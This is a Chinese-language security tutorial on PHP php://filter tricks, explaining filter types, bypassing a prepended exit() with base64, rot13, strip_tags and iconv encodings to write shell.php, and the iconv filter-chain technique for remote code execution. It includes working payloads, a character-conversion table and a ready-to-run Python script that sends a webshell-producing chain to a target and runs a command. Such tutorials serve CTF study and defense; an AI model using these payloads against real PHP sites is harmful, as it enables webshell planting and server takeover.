php://filter的trick

php://filter流最常见的用法就是文件包含读取文件,但是它不止可以用来读取文件,还可以和RCE,XXE,反序列化等进行组合利用

filter协议介绍

php://filter是php独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他数据流,通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64rot13等处理

filter协议的一般语法为

php://filter/过滤器|过滤器/resource=待过滤的数据流

过滤器可以通过管道符设置多个,按照链式的方式依次对数据进行过滤处理

php filter的过滤器

字符串过滤器

string字符串开头,常见的过滤器有rot13tolowertoupperstrip_tags等,例如

复制代码
php://filter/read=string.rot13/resource=data://text/plain,abcdefg

toupper、tolower是对字符串进行大小写转换处理

strip_tags对数据流进行strip_tags函数的处理,该函数功能为剥去字符串中的 HTMLXML 以及 PHP 的标签,简单理解就是包含有尖括号中的东西。

转换过滤器

主要含有三类,分别是base64的编码转换、quoted-printable的编码转换以及iconv字符编码的转换。该类过滤器以convert开头。

Quoted-printable可译为可打印字符引用编码 ,可以理解为将一些不可打印的ASCII字符进行一个编码转换,转换成=后面跟两个十六进制数

压缩过滤器

主要有两类,zlibbzip2,其中zlib.deflatebzip2.compress用于压缩,zlib.inflatebzip2.decompress用于解压缩。

加密过滤器

mcrypt开头,后面指定一个加密算法。本特性已自PHP 7.1.0起废弃。强烈建议不要使用本特性。

(ps:php://filter面对不可用的规则只是报个Warning,之后会跳过继续执行)

绕过php exit()

复制代码
file_put_contents($filename,"<?php exit();".$content);

$content在开头增加了exit,导致文件运行直接退出

那么该怎么绕过呢,只要将content前面的那部分内容使用某种手段(编码等)进行处理,导致php不能识别该部分就可以

Base64编码绕过

Base64在进行解码的时候,是4个字符一组进行解码,也就是说如果构造一个字符串如aaaabTFzbjB3,前面的四个a会被当成一组进行正常解码,后面真正的base64编码也就会正常解码。因此在使用base64编码绕过该限制的时候,需要自己补一些填充符,让前面需要绕过的字符串组合起来长度是4的倍数,因为前面参数解码的字符串只有phpexit,因此上述的绕过方式为:

复制代码
$filename = "php://filter/write=convert.base64-decode/resource=shell.php";
$content = "aPD9waHAgcGhwaW5mbygpOz8+"
rot13绕过

方式和base64类似,将payload转换一下即可:

复制代码
$filename = "php://filter/write=string.rot13/resource=shell.php";
$content = "<?cuc cucvasb();?>";
组合方式绕过

例如使用strip_tagsbase64进行绕过:

复制代码
$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
$content = "?>PD9waHAgcGhwaW5mbygpOz8+";
iconv字符编码转换

这里用到几种编码:

复制代码
UCS-2:对目标字符串进行2位一反转
UCS-4:对目标字符串进行4位一反转

payload生成:

复制代码
<?php
$a = "<?php phpinfo();?>aa";
echo iconv("UCS-4LE","UCS-4BE",$a);

payload:

复制代码
# 2位一反转
$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php";

# 4位一反转(注意添加一些填充位)
$content = "php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|aa?<aa phpiphp(ofn>?;)/resource=shell.php";
组合绕过方式

感觉能单个过滤器绕过的,就可以不用多个过滤器一起组合绕过。

strip_tags+base64编码绕过

绕过思路就是:闭合前面的<?php标签,并使用strip_tags进行处理过滤,然后正常base64解码

构造payload如下:

复制代码
$content = "php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php";

ps:resource后面的路径,php://filter仍然会将其视作位过滤器进行一个过滤处理,例如:

复制代码
$content = "php://filter/resource=./convert.base64-encode/../shell.php";

RCE的实现

iconv filter

在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE

众所周知,include 函数实际包含的是 Base64 解码后的 PHP 代码。

那我们有没有办法通过编码形式,构造产生自己想要的内容呢?这里就提到了我们今天要介绍的技巧。

PHP Filter 当中有一种 convert.iconv 的 Filter ,可以用来将数据从字符集 A 转换为字符集 B ,其中这两个字符集可以从 iconv -l 获得,这个字符集比较长,不过也存在一些实际上是其他字符集的别名

复制代码
<?php
$url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text";
echo file_get_contents($url);
// Output:
// some+ADwAPg-text

使用以上例子,我们可以通过 iconv 来将 UTF-8 字符集转换到 UTF-7 字符集。那么这个有什么用呢?

结合我们上述提到的编码、文件内容,我们是不是可以利用一些固定文件内容来产生 webshell 呢?

结合 PHP Base64 宽松性,即使我们使用其他字符编码产生了不可见字符,我们也可以利用 convert.base64-decode 来去掉非法字符,留下我们想要的字符。

所以我们先假设我们的文件内容为 14 个 a 字符,我们可以通过暴力遍历 iconv 支持的字符编码形式,看我们得到的结果,例如:

复制代码
$url = "php://filter/";

$url .= "convert.iconv.UTF8.CSISO2022KR";

$url .= "/resource=data://,aaaaaaaaaaaaaa";     //我们这里简单使用 `data://` 来模拟文件内容读取。
var_dump(file_get_contents($url));

// hexdump:
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 1b 24 29 43  |string(18) ".$)C|
// 00000010  61 61 61 61 61 61 61 61  61 61 61 61 61 61 22 0a  |aaaaaaaaaaaaaa".|

我们可以看到这个 UTF8.CSISO2022KR 编码形式,并且通过这个编码形式产生的字符串里面, C 字符前面的字符对于 PHP Base64 来说是非法字符,所以接下来我们只需要 base64-decode 一下就可以去掉不可见字符了,但是与此同时,我们的 C 字符也被 base64-decode 解码了,这时候我们需要再把解码结果使用一次 base64-encode 即可还原回来原来的 C 字符了。

复制代码
$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  31 29 20 22 09 a6 9a 69  |string(11) "...i|
// 00000010  a6 9a 69 a6 9a 69 a6 22  0a                       |..i..i.".|

$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  32 29 20 22 43 61 61 61  |string(12) "Caaa|
// 00000010  61 61 61 61 61 61 61 61  22 0a                    |aaaaaaaa".|

Craft Base64 payload

因为 base64 编码合法字符里面并没有尖括号,所以我们不能通过以上方式直接产生 PHP 代码进行包含,但是我们可以通过以上技巧来产生一个 base64 字符串,最后再使用一次 base64 解码一次就可以了。

例如我们生成PAaaaaa,最后经过base64解码得到第一个字符为<,后续为其他不需要的字符(垃圾字符),按照这个方法就可以构造一个webshell的base64字符串了

可以使用 convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2 来生成

复制代码
$url = "php://filter/";
$url = $url."convert.iconv.UTF8.CSISO2022KR";
$url = $url."|convert.base64-decode|convert.base64-encode|";

$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
// $url = $url."|convert.base64-decode|convert.base64-encode";

$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 35  32 29 20 22 38 01 fe 00  |string(52) "8...|
// 00000010  43 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |C...a...a...a...|
// 00000020  61 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |a...a...a...a...|
// *
// 00000040  22 0a                                             |".|

// 起用了注释那一行后,即还原到 Base64 之后的 hexdump:
// 00000000  73 74 72 69 6e 67 28 31  32 29 20 22 38 43 61 61  |string(12) "8Caa|
// 00000010  61 61 61 61 61 61 61 61  22 0a                    |aaaaaaaa".|

我们可以通过这种形式来将前面部分的构造成我们所需要的 base64 字符串,最后 base64 解码即可成为我们想要的 PHP 代码了。

因为最终的 base64 字符串,是由 iconv 相对应的编码规则生成的,所以我们最好通过已有的编码规则来适当地匹配自己想要的 webshell ,比如

复制代码
<?=`$_GET[0]`;;?>

以上 payload 的 base64 编码为 PD89YCRfR0VUWzBdYDs7Pz4= ,而如果只使用了一个分号,则编码结果为 PD89YCRfR0VUWzBdYDs/Pg== ,这里 7 可能相对于斜杠比较好找一些,也可能是 exp 作者没有 fuzz 或者找到斜杠的生成规则,所以作者这里使用了两个分号避开了最终 base64 编码中的斜杠。

复制代码
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";

// echo $final_payload;
var_dump(file_get_contents($final_payload));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 3c 3f 3d 60  |string(18) "<?=`|
// 00000010  24 5f 47 45 54 5b 30 5d  60 3b 3b 3f 3e 18 22 0a  |$_GET[0]`;;?>.".|

这里需要注意的地方是:

  • convert.iconv.UTF8.UTF7 将等号转换为字母。之所以使用这个的原因是 exp 作者遇到过有时候等号会让 convert.base64-decode 过滤器解析失败的情况,可以使用 iconv 从 UTF8 转换到 UTF7 ,会把字符串中的任何等号变成一些 base64 。
  • data://,后的数据是为了方便展示,需要补足一定的位数,当然如果使用 include 就不能用了,毕竟需要 RFI

还有python一把梭脚本

复制代码
import requests

url = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)
相关推荐
BingoGo5 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack5 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
cipher18 小时前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
BingoGo1 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack1 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack2 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo2 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack3 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理4 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行4 天前
网络安全总结
安全·web安全